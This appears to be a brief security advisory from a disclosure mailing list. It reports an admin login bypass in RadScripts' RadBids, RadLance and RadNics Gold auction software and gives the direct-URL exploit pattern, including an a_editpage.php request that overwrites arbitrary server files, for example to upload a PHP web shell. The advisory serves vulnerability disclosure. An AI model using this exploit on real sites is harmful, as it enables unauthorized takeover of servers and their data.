RadBids Gold, RadLance Gold, RadNics Gold auction products: Admin bypass vulnerability

["Duke" <vuln.invent () gmail com>]

Products: RadBids Gold, RadLance Gold, RadNics Gold auction products

Vendor: RadScripts

URL: http://www.radscripts.com/

VULNERABILITY CLASS: Admin login bypass

[Product Description]

RadBids was designed to give you all the tools needed to rapidly deploy an ebay style auction web site solution. Our 
php 

auction software is simple to deploy and easy to manage. From a web-based aministrative panel one can manage all 
aspects of 

the auction software including categories, users, financial transactions and every aspect of the auction software with 
a few 

clicks of the mouse. 

[Summary]

An attacker can exploit RadScripts Auction Software admin login by entering the direct URL to admin scripts.

[Exploit]

http://target.xxx/[product_home]/admin/a_[admin_action_file]

For example:
http://target.xxx/[product_home]/admin/a_editpage.php?filename=[arbitrary_file]

This can be used overwrite any file on server which has write permissions on it. 
For example upload own php web-shell.

[Credits]

INVENT

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